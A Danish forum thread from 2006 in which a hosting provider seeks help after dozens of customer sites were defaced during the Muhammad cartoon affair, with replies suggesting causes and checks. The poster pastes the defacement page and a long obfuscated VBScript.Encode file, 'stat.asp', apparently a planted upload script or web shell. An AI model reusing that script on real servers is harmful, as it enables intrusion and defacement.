Avatar billede jmc Nybegynder
05. marts 2006 - 18:38 Der er 30 kommentarer og
6 løsninger

sikkerhedsbrist hacket grundet mohammed sagen

Vi har fået smidt et billede ind på alle vores online webhoteller. Det virker som om det er et sikkerhedsbrist, men en upgrade siger at der ikke er nogle upgrades. Hvad kan vi kikke efter og hvad kan det skyldes?

billedet hedder: BAYRAK.gif
Avatar billede strych9 Praktikant
05. marts 2006 - 19:46 #1
Hvad er det for et firma det er sket hos?
Avatar billede jmc Nybegynder
05. marts 2006 - 20:11 #2
Det vil jeg ikke nævne her.
Men det er en 2003 server med seneste sikkerhedsopdateringer.
Det er måske via et brist på serveren eller i et aspupload eller en kunde som har fået opsnappet sit FTP eller noget i den retning?
Avatar billede strych9 Praktikant
05. marts 2006 - 20:12 #3
alrighty.. Nu ved jeg hvem det drejer sig om, og ip på serveren, og kan se at det drejer sig om mere end 80 webhoteller.
Det store spørgsmål er så: Må jeg prikke lidt rundt på server ip'et og se hvad jeg kan finde? Det er ikke noget som får serveren til at gå ned osv, men kan få forskellige firewalls og IDS systemet til at komme med alarmer. Send mig venligst en e-mail fra en firma adresse med eksplicit tilladelse til dette. Send den til netwarrior at gmail.com
Avatar billede jmc Nybegynder
05. marts 2006 - 20:42 #4
done,
Du må også gerne smide et bip, så denne tråd kan lukkes.
Avatar billede strych9 Praktikant
05. marts 2006 - 20:46 #5
yesh, jeg kigger på det nu, men ifølge ekspertens regler skal jeg poste "løsningen" her. Det bliver dog først efter at et evt hul er lukket, hvis jeg finder et... Skal bruge et par timer, og tak for udførlig mail.
Avatar billede peterlund Nybegynder
05. marts 2006 - 20:48 #6
Du må da have nogen logs, der fortæller noget om hvor billedet er kommet ind første gang? kører du et CMS system, FTP server eller andet som har kendte sikkerheds huller. IIS konfigureret som webserver alene, har ikke en sårbarhed som gør at de kan deface 80+ websites på en gang.
Avatar billede bufferzone Praktikant
05. marts 2006 - 21:07 #7
Nu kan jeg selvfølgelig ikke lige lære dig at køre en sårbarhedsanalyse, men det ville normalt være måden at gøre det på.

Det kunne godt se ud som om at at det er tale om et forsøg på hacking der ikke er lykkedes. Lige netop denne fil kommer fra et samlet script, der køres af mod serveren, hvor ASP script filer og biller til en defacing uploades via upload funktionalitet, der ikke er ordentligt valideret. Hvis dit site validerer således at man kun kan uploade billeder, så er angrebet mislykkedes og kun billederne er kommet op. De for defacingen nødvendige ASP filer er blevet afvist og derfor finder du kun billederne.

Som Sagt der skal en sårbaghedsanalyse til for at sige noget mere sikkert om det
Avatar billede jmc Nybegynder
05. marts 2006 - 21:12 #8
Det er ok, strych9, måske kan andre få glæde af det.
Vi har et CMS system, men deface-billedet ligger også på et domain som ikke har taget siden i brug, dvs. at der ikke ligger noget CMSm eller andre filer, dog har kunden FTP adgang. Det er det første domain ifølge vores logs som er blevet defaced.

Vi har også en deface fil liggende sammen med en default.htm fil der ligger uden for root, derfor kunne det måske være et eller andet autorun som bare søger og opretter hvis den finder en default.htm fil. Er det jeg skriver her forståeligt?

IIS kører kun som webserver. Vi har postgreSQL, Urchin (themilk.dk) installeret sammen med ISAPIREADWRITE, aspupload, aspemail, aspmail, aspPDF. Serveren er nyinstalleret dec2005 og har vi har alle seneste sikkerhedsupgrades liggende. Ingen webmail.

Koden er her:
<html>

<head>
<meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">
<meta name="GENERATOR" content="Microsoft FrontPage Express 2.0">
<title>Hacked</title>
</head>

<body bgcolor="#000000">

<p>&nbsp;</p>

<p align="center"><font color="#00FF00" size="7"
face="Cordia New">ColdRaider </font></p>

<p align="center"><font color="#00FF00" size="7"
face="Cordia New">Was here!.</font></p>

<p align="center"><img src="BAYRAK.gif" width="405" height="262"></p>

<p align="center"><font color="#00FF00" size="6"
face="Cordia New"><strong>Nihahahahahah!!!</strong></font></p>

<p align="center"><font color="#00FF00" size="6"
face="Cordia New"><strong>Respect Our Prophet!</strong></font></p>

<p align="center"><font color="#00FF00" size="6"
face="Cordia New"><strong>Muhammed (s.a.s)</strong></font></p>

<p align="center"><font color="#00FF00" size="6"
face="Cordia New"><strong>ColdRaider 2006</strong></font></p>
</body>
</html>
Avatar billede jmc Nybegynder
05. marts 2006 - 21:14 #9
bufferzone:
Vi har fundet index.html, index.htm, index.asp og index.aspx dog mest de første 2 filer.
Avatar billede jmc Nybegynder
05. marts 2006 - 21:17 #10
Jeg vender først tilbage i morgen over middag.
Ellers tak for hjælpen derude, ;o)
Der bliver stærkt brug for sikkerhed nu hvor de opfordre til attack imod danmark igen.
Hør nyhederne nu her i aften.
Avatar billede bufferzone Praktikant
05. marts 2006 - 21:24 #11
Så bør du undersøge om derer valideret på biblioteksniveau. Hvis man ikke har executer rettigheder på de biblioteker hvor filerne uploades, så kan dette hack heller ikke lykkedes. Der er tale om et meget almindeligt angreb, der udføres af script kiddies der ikke har nogen forstand på hvad de gør, og derfor oftest fejler
Avatar billede jmc Nybegynder
05. marts 2006 - 21:50 #12
Vi har ikke executer rettighed på upload biblioteker, altid kun read/write/delete. Jeg er bange for at der er anvendt nogle andre triks i dette her tilfælde.
Avatar billede jmc Nybegynder
05. marts 2006 - 21:53 #13
Man kan ikke uploade på vores CMS uden at være logget ind som bruger.
Avatar billede bufferzone Praktikant
05. marts 2006 - 21:58 #14
Det at du ikke har execute rettigheder betyder at hacker ikke vil virke, det er derfor du finder filerne, men ikke ikke er blevet defacet. Dit login er nok blevet kompromitteret, du vis blive forbaset over hvor let det er at gætte passwords, hvis du bare kan se brugernavne og lidt bruger oplysninger
Avatar billede jmc Nybegynder
05. marts 2006 - 22:20 #15
Hej Bufferzone.
Men vi er faktisk blevet defacet, alle 109 domains har fået flaget på forsiden af deres hjemmeside. Vi har bare så hurtige at det kun var én som nåed at opdage det. ;o)
Hvis det er et FTP login som er blevet gættet var der nok sket mere ballade og vores politik er desuden at køre med strong passwords dvs. storesmå bogstaver + tal blandet ind imellem.
Det er muligvis et CMS login der er blevet gættet men det giver stadigt kun adgang til en imagemappe og disse her filler ligger i root og nogle endda uden for root, hvilet jeg finder mærkeligt.
index.asp filer var ikke slettet men index.htm filerne bliverer læst før på vores server, så det var egenligt ret hurtigt at fjerne dem, kun at søge efter alle og slette på en gang.
Det var ikke engang nødvendligt at hente gårdagens backup.

Nå, men det kan være at strych9 kommer med et svar i morgen.
Avatar billede bufferzone Praktikant
05. marts 2006 - 22:26 #16
Du bør gennemgå logfilerne for at finde ud af hvordan det er sket, ellers defacer de jo bare igen. da du ved hvad filerne hedder og da nogle af navnene er relativt unikke så skulle det være let at finde de logs hvor det sker.

Find ud af hvad der er sket og sikre dig måd at det sker igen
Avatar billede strych9 Praktikant
06. marts 2006 - 00:17 #17
Konfigurationen af serveren er ok, og simple ordbogsangreb osv preller af.

Det login script du har på /produkter/webhotel/ har interesse (ligenu deaktiveret).

Ved at kigge lidt på hvad den her defacer ellers har lavet, så går han både på Windows, Linux, BSD og Solaris æsker. Har kigget på et par stykker og de er generelt med feks cgi scripts. Det får mig så til at antage at han er kommet ind via et sårbart script et sted.

Jeg synes at du skal kigge serveren igennem en ekstra gang efter defacement scripts. Du ved ca hvornår han kom ind på den første site og på den anden. På et tidspunkt derimellem har han sandsynligvis uploadet noget og eksekveret det. Se om du kan søge efter * på serveren i alle sites og så dato sortere det.
Avatar billede strych9 Praktikant
06. marts 2006 - 00:23 #18
Han har iøvrigt sin egen website her hvor han deler ud af sin "visdom":
www.coldraider.com.tr.tc
De exploits han lister ligenu er til Perl, hvilket basalt vil sige cgi. Er der perl installeret på den server? Nej vel?
Avatar billede strych9 Praktikant
06. marts 2006 - 00:34 #19
Nå, jeg kan åbenbart ikke sende mail til dig jmc. Mailsafe blokerer den. Nok fordi der er nogle fy-ord i mailen..
Avatar billede jmc Nybegynder
06. marts 2006 - 19:01 #20
hej strych9, jeg har modtaget den, du fik nok en releasemail.
Vi har endnu ikke fundet den smutvej, men måske var det via .net
Avatar billede strych9 Praktikant
06. marts 2006 - 19:22 #21
Måske kan du gøre rede for hvad der ellers er adgang til for webhotellerne ud over .net. Er der php installeret? nogle statistikkomponenter? forum ting? Database komponenter? Altså, kort sagt, hvad er der af faciliteter?
Avatar billede jmc Nybegynder
06. marts 2006 - 19:33 #22
Jeg har fundet en mistækelig stat.asp som indeholdt følgende:

<%@ LANGUAGE = VBScript.Encode %>
<%#@~^WEYBAA==@#@&rU,2MDWMP"n/!:nPg+aO@#@&?.\DRU^.kaY:kh+6;DP~',{ Z!@#@&@#@&frh,1n/    nw?6@#@&"+/aW    d+c.kD+~E@!/YHs+@*PA}9ePPPUZ]rJJ~b]O~)?AO/6drIl~[&$&~f~i~UZ"rSdAz]OzI]rqO/6drI=~a2&swffi,8,@!&/Oz^+@*J@#@&I/2G    /+     MkO+,E@!4G9X,4o1W^GD{!T!Z!T~D+6DxB[!!woT!EP^kU3xv[!TswT!EPCsbx3xv[!TswTZB~7Vbx3{B[T!wsT!EPOGa:lMLk    '!@*E@#@&@#@&EORORR ORO RO bUG    k:~iaVGl9/^ldkPUYlMY,/W9+RO ORR OO RO OO RRO O ORORR@#@&/Vmd/,srsjwsGmNnD@#@&in;(VbmP,sbs+k@#@&dhDr-mY+,oWM:2^nhl    nM.@#@&7KMk-lDnPUE8~;Vldd|qUkDrmVr.+v#@#@&dij+DPok^+d~{P?.\DR;.nlD+}4%+^OvJjmMrwDkULcfk^ObWUlMzr#@#@&di?+DPwGDs2s+slUKM.P{~?D\. ZM+mYnr8%mO`rjmMk2Obxo 9bmOkKUmDzr#@#@&dAx9~?!4@#@&in.r7lY~?!4P;sC/k{:+.:rUmYn`*@#@&idro,q/68N+^YvobVnk#,Ktx@#@&didok^+d "+:K-+zVVvb@#@&idi?nY~obVn/,xPgWO4bxo@#@&id3x9~bs@#@&diks,qk64N+^YvsG.s2Vhl    nDjb~K4+    @#@&d77wW.:As+slUKM.R]nsW-+zs^`b@#@&iddU+D~sKDh2^+hC    nDj~',1WD4rxT@#@&d72U[,ko@#@&72    N~j!4@#@&7hE8Vb^,n.KwDYHPVnY,sGDs`d(    N+Xb@#@&ddwG.:,',JE@#@&7ikoPwGDs2snslxK.jR36bdD/cdZm/+v/&UN6b#,K4n    PsK.:,'PwG.:AV:CxK.jR(Yh`dZCd`/(U9+a#*@#@&d3    N,nDKw.YH@#@&dhE8sbmPGn0mEVD~jE(P`wsWC[v#@#@&i7fb:~8bflOCBPdq    2!YHm:@#@&idGr:,xKWkAnLbx~,UnK/2    [SP    nK/SP-9mYCAK;x9/S~    flOC~W;x9KK/@#@&difksP    KWksrV~~UhW/~GE    N@#@&774bfmYCPx~"+5EdYcArUmDX]nmNcI5!+dDR:WYmV~zY/b@#@&d7UhW/~nobxP{~q@#@&dixKWd3    N~',(xkY.$vxnGd~+Lk    S,4rGlDl~,Z~zY?ODbxLc;tDvq&*##@#@&7dbs,`UnGdAx[O    KWkAnLbx#~@!{PTP:4x~A6bYPUE(@#@&id-fmYC$KEx9dP{PHb[$`(kGlOlS~    nG/~nobxS~    nWd3    NRxhGkAnTk    #@#@&diUfmYCAKEU[hW/,xP&x/D.$`8~,4rfCOm~~\GCYmAG;    N/b@#@&d7fK~`xObV,xfmYm$W!x[nK/~x,qxkOD~`4b9CYm~,\9lOC~W;x9dPLP/$HY+jOMkUovE OE*#@#@&did    KWkPxP&xdOMA`    9lDlAK;UNhWk~~4r9mYC~,/AHYnjDDkULvJ/W    OxO fb/wK/bOkKxE#*@#@&7idxhG/,'P&UdYMAvxKWdS,4rfmOlBP/$HY+jOMkUovE    lh'r##@#@&i7d    nG/~+Lr    P',UnK/P3~@#@&didUnGdAx[P{~q    /O.~`xKGkAnobUBP8bfmYlBP;$XD+jYMkULvZtMc&W##*@#@&didkqUw;Oglh+,xP;r[?Y.r    ocHb[~`8bfmYlBP    KWkAnobxS~    nWk3x9OxhGdAobxb#@#@&id7xhG/wksn,'P(UkY.AvUGlOmAKEx9nKd~,4rfmYCS,ZAHO+UYDbUL`r0bVnxCh'E#*@#@&id7UhW/$G!x[P{~&xdDD~`xhWk3x9~~4bfCOm~P79lDlAK;UNk#@#@&7d7rwPUnKdsbVn~@!@*PT~zx[P,UhWdwk^+P@!P    KWkAGE    N~P4+x@#@&diddGrhPKjaVGl[obVn~,dsbVnHm:+@#@&id7dUnDPG`w^Wl9sbs+,'~1h~iaVWm[+9sk^n@#@&ididUnGd~+Lk    ~',xKGksksn,_~FZ@#@&d7id    nWk2    [P{P~q    /O.~`xhG/~+obUSP(kGlOlS~;AzYjYMkULvZt.c2cb#*@#@&d7idksk^+gC:PxP;r[?YMrxT`Hb[$`(kGlOlS~    nG/~nobxS~    nWd3    NRxhGkAnTk    ##@#@&i7diWiw^WC[wkV sbV+gCh+,',Iro4Ov/ok^n1m:nS,S+UcksrVHm:n*O&x?DD"n\v/ok^+HCs+~,E-r##@#@&7did    nG/~x,qU/D.AvxKGk2x[S,4rfmOm~~;AHY+UYMrxT`EZKxOn    YO:zw)J*b@#@&ididUnGd~+Lk    ~',xKGkP_~qW@#@&di7ixKK/AxN,',(xkY.AvxKGkA+TrxBP4b9CYm~,Z$XOnUY.k    L`;t.c8&#bb@#@&7di7Kj2^WmNsbV ZKxO+    YPza+P{~ZqkNjODbxT`\k[$v4rfmOlBPUKK/AnLbxSP    KK/3    N xnK/~nobxb#@#@&77idxhG/~+obU~',xhWd2U[3c@#@&i7dixKGk2x[~{P(xkOMAc    nK/AobU~,4rfmYCS,\fmOl~WE    [d#,O, @#@&77idGjasWmNor^+Ror^+9lDC,'~tk9A`(kGCYm~~xhWd$ok    SP    nWk3UN xhWdAnLbxb@#@&7didro,Wj2sKl[sbsRobV?k.+,@*PZPPtx~obV+k b9NPd/C/`kqUw;Oglh+*SPKj2sKlNor^+@#@&i7i2sk+@#@&didiUnK/~',qUdDDAvUnK/~,8rfmYm~~Z$zD+jYMrxT`/4M`Ffb*#@#@&i7idUhWkA+Tk    ~',xKWkPQ~W@#@&i7dixnKd3x9P{P(xdOMAcxhG/~+Lr    ~P8rGlOlB~7fCDl~WE    NkbP P+@#@&d77iks,HWDPsK.h2^+slUn.#c2akkO/vS/Ck+`d(    w;YgCs+b*P:t+    PwGDs2s+slUKM.Rz[N,SZmdn`kq    w;YHCs+b~,/bNnjDDkULvHrN~c(k9mYm~P    nKdAorxBPUKK/2    [O    nWk$nobx*#@#@&77i2UN,rs@#@&77ixfCOmAGE    [hWd,',qxkYM$`    fCYmAG;    NnKdP3PSU$`7fmYCAG;    Nd#B~4bfCOm~P-9mYCAK;    Nd*@#@&dddWK2@#@&d3x9Pj;(@#@&iKDb\lDn~s!x1YrWU~;AzYjYMkULv/?O.bxL#@#@&id9b:,AXD+bUN6@#@&idoGMPAHO+bxNa~',F,YGPJn    `d?D.k    ob@#@&dd~~,Z$XDnUY.bxTP',Z~zY?ODbxL~LPZ4.Avb/1$cHbNv/jY.r    oSAHO+bx[nX~Fbb*@#@&diH6O@#@&i2x9Pw;x1YrW    @#@&7hDk7CYPs!U^YbW    P/r[?ODbUov4djDDkUL*@#@&di9b:~~XD+k    Na@#@&d7Zqk[nUYDbUo,'Jr@#@&disKD~AzOkUNaP{Pq~DWPJn    Ac4kjDDr    o*@#@&id,~P;rN?O.bxo,xP;k9njYMk    o~[~/4Dcbk^AvHr[~`4djDDrxTS~XOk    N+X~8b#*P@#@&idHnXY@#@&72    NPw;UmDkKx@#@&3U9P/Vmd/@#@&/sm//~iaVGl9n9sr^+@#@&dhE(sk1P/W    YnUDKXan@#@&dn!8sk1Pwks+HCs+@#@&iKE(Vr^,sksnGlOl@#@&in;(VbmPhDK2+MYzPV+O~wkVjk.+`*@#@&disbVn?r"PxPdnx~`or^+fCOm#@#@&i3    N~hDKw+MYH@#@&in;4^k^~UE4,jl7+KK9r/0`knCY4b@#@&7dGr:,WojBPWor^+@#@&i7Gkh,AHY+bx9n6@#@&7dbs~dhlY4~',JJ,6.Pwk^+Hlhn,'~Jr~K4+U~A6kO~UE8@#@&7iko,HbN`knmOtBPJ+    `dKmYt*bP@!@*PrwEP:tx~/KCDt~',dnmY4~LPJwE@#@&7dUnDPGw?,'PU+M-+MR/DlOn}4L^YvJ?1.rwDk    o srs?z/Dn:}4%n1YJb@#@&d7kw~gWO,Ww?RwW^[+M2akkYdcknlD4#,KtU~2XkDPjE8@#@&d7?OPKsrsP'~Gw? ZMnmYn:+XYsbVc/hlOt,[~obV+gC:~P:.;+*@#@&d7sG.,AzYrx9+a~{PF~OKPJ+    $vsr^+GlYm#@#@&diP~P,Wor^+Rq.kD+P;4.`z/1AcHr[~`ok^nfmYCS~XYnr    Nn6Bq*#b@#@&id16D@#@&idGsbVn ;VWkn@#@&d2    [~?!4@#@&7n;8^k^PU;4,?C-KW9CDl8lknvAz"+6PWwksN*@#@&diko~d+x~csbV+GCOl*P{PTPP4x~2XrY,?;8@#@&d7rwP(/}8N+^D`KskV9bP:tnx@#@&77iWsbnV9Rba2nx9Z4EU3~obVnfmOl@#@&77AxN~rw@#@&dAU9Pj!4@#@&2    N,/Vm/d@#@&@#@&o!xmDrW    Pf/.XaYUY.kULv/OD;.XaYjOMkxLb@#@&7fbh,/OMIz~,lMu+XZ4lM?nOBPkB~k    Y|zSPbxDrW0jnD~~/D.ImhFnH~PdOMCn6;.Hw9mYm@#@&iP,~PkY.ImhFnHP',]kTtYvdOD;DHwO?O.bxL~,J+    `dOMZDz2D?ODbUT#~ P&x?DDvdYMZ.XaYjOMkxTSPruJ*b@#@&iP,P~kUO}0W?OP{P]rTtYcdDD]lSFXS,Sx`kYM]lS|nX*PR~&x?D.`kYD"CA|XBJkJbb@#@&7P,~PbxOFXPx~_+aZKU7`J0D`/DD"Chn+z~,qUjDD`kOD"lhnnz~,J-JbPR~8#bP ~C6/G    \`rUDrW0UnD#@#@&d,PP,/D.C6/DHw9CDlP{~S0YvdOD;DHwO?O.bxL~,J+    `dOMZDz2D?ODbUT#~ PvS+    `kOD"lA|Xb~3PF*b@#@&dP,~~lMC6/tC.U+OP{~?aVrOv/Y.u6/DH2GlOm~,C+X`bUYn+z#*@#@&7iPsK.Pb'!,OGP`AKEUNcCMCn6;4lM?nO*@#@&77,P~P,~kY."bqP',/D.Iz~[,Z4.vC+X/W    \`m.u+XZ4l.?nOvkb#JrxD|nz*@#@&77,1n6D@#@&d~,P,f+;DH2YUY.k    o~x,Z?D.`kYD")    #@#@&Ax[Po;    mOkKU@#@&@#@&@#@&sEU^DkGx,u6/Kx7`t6jCD*@#@&dGkh~_+6jnDb~P_nafob/V+US,:;VDrw^X~~,PP~~,P~@#@&~,P~,P,PPbs,4+X.CD,@!@*~rJP:u2g@#@&,~~P,P,P~P~~,P4+X#lMPx~`Zbj3vtn6jCM#@#@&P,PP,P,~P,P~P,tnajlD,xPUYD"n-+M/`4+a#mDb@#@&~P,P~~,PP~~,P~f&\,tav#@#@&P,P,~P,P~P,P~~"2f&\P46`d3H`4+X.CDbb@#@&~P,~P,P~~,PP~~_+a..bPx,!@#@&P,P,~P,P~P,P~~_+6Gnob/3U~',!@#@&~P~~,P~P,~P,P~o}IPunX.nDb~{Pq,K}PSA1v4+X.CD*@#@&~,PP,~P,PP,~~P,P,P~ko~sEsYb2VHPx~rJPPuA1~:!sDk2^X,'P8@#@&~P,P~P,P~~,PP,~P,PP4acC6j+.kb~{Phk9ct6#CM~Cnaj+.kBq*@#@&,P,PP,P,~P,P~P,P~~,C+X9+Tk/0nUP{PvCn6!G    NnDv46vCnaj+Drb*PMPs;^YraVH#P3P_n6G+Lkk3nU@#@&P,~P,PP,~~P,P,P~P~~sEsYb2VHPx~v:EsObwsX,M,F*@#@&PP,P,~P,P~P,P~HA(K@#@&P,PP,~~P,P,P~P4nX.CD,xP_+a9okdVx@#@&,~,P~,P,PP,P,~C6/W    \~x,t+X#lM@#@&,~~P,P,P~2H9,ko@#@&3x9Po;    mYrG    @#@&ma.DtOsV,'Pr@!6GxDPWl1+xvmDkmsB,/k.nxB8B@*InlsrD+lR@!&0KxO@*r@#@&o;    mOkKU,CnXMKxNDvFlD+LWMkunX#@#@&~P,PP,~~Pbs,|CYnLKDrCaP{PE)rPK4n    @#@&P,~,P~,P,PP,P,FlD+LWMkunXP',q!@#@&P,~~P,P,P3Vdnbs~|mO+TW.r_+6~x,J$J,P4+U@#@&,PP,P,~P,P~P,PFCD+oK.k_+6,x~F8@#@&P~P~~,P~PAs/ko~nlYnLKDrCa,'~rZrPK4+    @#@&,P~P,P~~,PP,~PnlYLGDbC6~'~qy@#@&P,~P,P~~,2Vdnbs~|mOoGMk_+6,',EfrPPtx@#@&,PP,~P,PP,~~P,|mYnoG.bCn6,xP8&@#@&,PP~~,P~PAsk+rwPnlYoK.k_+aP{PE3rPK4nx@#@&P,~~P,P,P~P~~,|CYLWMkunXP'~qW@#@&P,~,P~,P,2Vk+boPnlO+TW.r_+6,xPrsJ,P4+    @#@&P~P~~,P~P,~P,PFCD+oG.bCn6,x,FX@#@&,PP,P,~P,2UN,ko@#@&PP,~P,PP,un6VW    NnD~x,|CYLWMkunX@#@&3U9PoE    ^DkG    @#@&@#@&wE    ^YbWUP}4%nVW/DnDvW4N2CY4#@#@&7r8%MG/DnD,'~\bN`G8NwCY4S&xdDD"+\vW(%wmY4~r-Eb3F~dnxvW4N2CY4#*@#@&2U[,s;x1OkKx@#@&wEx^ObWUP}8N+!K/D+DalD4`K4%wmY4b@#@&d}8LMWkOnDalDt~'~J0O`K8LalO4BqxdOMIn\vG(L2mY4~J'J*b@#@&2UN,s;U1YkKU@#@&sE    ^OkKx,|GxO.KVoW    V/bXGUvl~8b@#@&7kw~;?OM`tkNvlBq~8#bP@!@*~/UYDv\k9`4BqSF*#,K4+U@#@&d7?mz0mPx~tkNc];;+kOc?nM\D.mDbC4^+d`r?/]&nK|Hbt2J*S(xkYMIn\c];;+kORU+.-D.C.bl8VdvJj;I&nK|1z\2r#SJJJbQ8~SU`"+;!ndYc?D-+.#mDrl(s+k`Ej;IqKP|1)HAE*#b,[,JgmmDrW    'nDMW.E@#@&di]+kwW    dnR"+9k.+^Ov?CX6C#@#@&73    NPro@#@&3x9~wEU1YbWx@#@&@#@&@#@&Z    nmDChYD~',JIKGPJ@#@&EORORR ORO RO ORR OORR ORO R OR O OO @#@&@#@&bs~KMkhc"+;!n/DRp!n.XUYMkUocE;KlMC:Y.nr##~x,JEP:4x@#@&did.DbKlMlh+DDn~{P?.\DRtC2nmY4`]+5;/ORUnD7+.#mDkC8^+d`rj;I(hK|1bt2rb#@#@&7diwGd,'P&U/DD`jn.khlMlh+O.~E-rb@#@&d77aW/+~{Pq@#@&7id    4k^+PaWk+P@!@*~!@#@&77idkw~q    /YMc2WkP3Pq~#nMkKlMC:Y.nBJ-Eb,@!@*PZ~:tn    @#@&ddidi2WkPxP&xdOM`wKdP3PFB#nDbnmDC:nOM+SJ'E#@#@&77id2sd@#@&di7id2K/yP',!@#@&did72    N~rw@#@&i7dq+x9@#@&did;Kl.Cs+OD~',SnWD`.n.bnCDmhY.~aW/*@#@&7dAVd+@#@&77iZhCDm:+D.nP{P,Y.khc"+5EdYcp;nMX?O.bxL`r/qnCMls+YM+rb#,[~J'J@#@&id2    [Pbs@#@&77@#@&B ORORR ORO RO ORR OORR ORO R OR O OOid@#@&@#@&BRO ORR OO e+D3k^n.PnW    Y.Ws~UYCDDRO ORR OORR ORO R O@#@&BIlysl RO O@#@&Gkh~GW/HCr^E/D;.:m~,Kn6O@#@&?nY,9WkXC6^E/O;M:C';.lOr(L+1Y,cJUm.kaYrUTRsbs+UX/Dnhr(LmOJb@#@&?nY,P+XY~x,fWdzmrsEkO!DhmR;D+mYP+XYok^+~c;nm.ls+YMn'JI+D3r|GUDDGV:n:aROaDJ#@#@&@#@&P+XOc.bYSk    +,cJV+çrmbP6smDl0~r^E/D;.E^:!/~4r.,fG/HCNbD  cJ#@#@&:+aYc    MkOSbx+,`r/X(+.?aX~Xr#@#@&P+XYR;sG/@#@&@#@&ko~AD.Rg;:(+.~@!@*PT~:tnx@#@&Il"slI+Y0kkrP{PEûJ@#@&3sk+@#@&el.:lInO3b/bPxPEüE@#@&3x9~kw@#@&@#@&BrV;slRO R @#@&GksPfK/HCb1:C~,KnaDsk^nK/Y@#@&j+DPGWdXC)1:C'UnD7+. ;D+COr8L^DPcr?1DkaYbUocsrV?zdD+:}8LmYrb@#@&U+DPP+aOwks+:n/D'9GkXl)^sl ran    KnXYwkVPv/hl.ls+O.[JInY0k|KUODKV:+hw OXYE#@#@&B"+d2Kx/n qDrY~vKnXYwkVKdYcInl9bss*@#@&@#@&@#@&ks,3.Dc1!:8+.~@!@*~!,Ptx@#@&}3EhCI+O3bdbPx,Jûr@#@&AVkn@#@&rVEslenD3kkrP{PJür@#@&2    N,ko@#@&@#@&Kn6Dok^+PnkYR^sK/n@#@&jY~:+XYsbVP+kYx1KY4r    o@#@&j+DPfKdzlzmslx1GO4kUo@#@&@#@&B/GaXPor^+~KdDOR O O@#@&fbhPIWsfoS~UlNeW^@#@&IGsfo,'~?n.7+.RtCwhlO4vI+5;/ORUnM\nM.mDkm4^n/vJjZ"qKP|1bt3J*#@#@&2G/,',qU/O.v5GVGnoBJwE*@#@&2Gk ~',q@#@&    4k^+PaWk+P@!@*~!@#@&7rwPq    dYM`wKd~_,FB5GV9nT~E-rbP@!@*~T,KtnU@#@&7daGkPx,q    /YM`aG/,_~FB5GsG+oBE-r#@#@&73Vk+@#@&7d2Gk ~',T@#@&d3U9Pko@#@&nx9@#@&?C9+IWV,',J+6Yc5KV9nT~wKd#@#@&@#@&jnY,r(L/W2zw?6fLP{PjnM\+. ;DnlDn}4%mD`JUmMrwDkUocsrs?XkO+sr4Nn^Yr#@#@&64%/KwzsU6fo /KwXor^+~I5!+dDRU+D7+M-lMkC4^+dcrnb:u{:IbgjJb:2GJbPS~Ul[+IGV,[EL^W4CsclE[rdr[EaJBPKME@#@&}4%ZKwzoUrfLR;WwHorVP"+5EndDRj+M-+M\C.bl4snk`EnzP_{P"bg?SzKA9J*PSPUl[nIWV,'JkYlD CJLJkJ'J2EBPPD!n@#@&B/GaXPor^+~KdDOR O O@#@&@#@&v?bVh+ ORR @#@&Gr:,fWkzC?bVnWUY.G^@#@&?OPGWdzm?ksFKxODKs{Z.lD+r(L^Y,`E?1Dr2DkxT sbV+UzdY:}4%+^Or#@#@&GG/Hljr^|WUOMWsRGn^+OsbV+,`;    nmDC:Y.nLJ5O3b|W    O.W^K:2ROaDJb@#@&@#@&bs~3MDRH;s4nD,@!@*PT,K4+x@#@&UrVs+e+D3rdbP',EûJ@#@&2^dn@#@&?bVh+enD3r/b~',JüE@#@&2x[~bs@#@&@#@&@#@&v O OO O ROIl":mzjr^:+,e+D3kkr~|KxDDGV~3    NRO RO ORR OORR ORO R @#@&@#@&@#@&@#@&4MxJLx8/ai~'    4/aIPLx4k2IP@!Ym4s+~AbNOt{EJ8!TYrJP8GMNnD{ErFTrJ,m+^Vk2l1kUo{JETrJP1nV^wl9[rxT'rJ1JE@*r@#@&/DzVBx'skNcEc@!Ol(sPAbNDt'rJl0]rJ~4KD[nM'JrTJrPtrLtD'rJq fErP^+^swmN[r    o'EEWJEP1n^Vdal1kxT'rEcrJ@*JB!ST*@#@&(.'r[x(d2i,[    4dwI~Lx8/aIP@!YC8^+PAr9Y4'rE8!TuJrP4KD9nD{JEFZJE~1+V^dwmmk    LxJr!rJ~mns^wCN9rxT'EEOJJ@*E@#@&dYHs'dDX^+BLJ@!ON,hrNDtxEWJP4nkTtY{E*J@*[    4dwI@!JY[@*r@#@&kYzs'/Oz^+':b[vJ/k/r~!B!*':bNcJ@!/Oz^+@*rS!B!#LhrNvJUm.Wss(l.JBT~Z#'hbN`E4kLtDEBFS8#L:k9`rdmMJS!B!b'skNvEbNY4EScBF*@#@&YCL{J'x(dwpP'U(/wI~Lx8/aI,@!Om4^+PSk9Ot{JEFZ!YErP4K.ND'rEq!rJ,mnVsdal^k    L'rJTErPmns^wCN9r    oxrJOJJ@*J@#@&B^+WY{VnWE[J@!ON,hk9O4'rcrP4+rL4YxJWE@*Lx8dai@!&O9@*E@#@&dDXs'kYX^+Lhk9`EtkL4DJ~8SF*[:b[cJqk9Y4JS*BFb[srNvJ    r9YtESW~q#LhbNcrmVVal9[k    oE~l~qbLV+6O`r)gG)Pbr~8#':r[vJ@!zD.@*r~+S8#[hr9`E@!JO9@*EB BF#E[srNvJ    k9Y4EBF~8b[skNvE@!z:l(Vn@*ESW~q#Lhk9`E@!DD@*ES2~q#LhbNcr@!DD@*r~2SF*[Ekr[EGMJ[rE[rRJLJn0D`rrE~qbLSn0DcJMkL4DJ~qbLDro4OvJ^V^/wmmbUor~q#@#@&8.{J[    8/aiPLU8/ai,[U4d2pP@!Ym8VPAr9YtxErFT!uErP8KD9+D{Jrq!rJ~mVsdalmbUo{JJZEEP1+^V2l[[bxL'rE,rJ@*E@#@&/Oz^+x/Dz^+vL:bN`r@!DC4^+~hbNO4{JJl0]rJP(G.ND{JE!EE,tnkT4Y{JEqy&JE~1+sVaC9Nr    o{JJWJr~mVs/al^r    o'rEcrJ@*rST~Z#@#@&dYzsBx[$cJ@!YC8^+PAr9Y4'rEl%YrJ,4WMN.'rJTJrP4nbotDxJrF 2EEP1+^V2l[[bxL'rEcrJ~^VVd2mmrxTxrJ*rJ@*J~Z~Zb@#@&;x;L:r[vJ@!D[@*SkND4@!zDN@*JS*Sq*[hk9cJ@!/Oz^+@*ESZ~T#LhbNcr?1DW^V(CDr~T~Z#'hbN`r4+botDESFBF*[hk[cr/^DrS!B!b'skNcEqk[Y4EBcS8#@#@&/DX^n'kYzVB'E@!YN,Ak9Yt{E*J,tkLtOxrcE@*LU4kwI 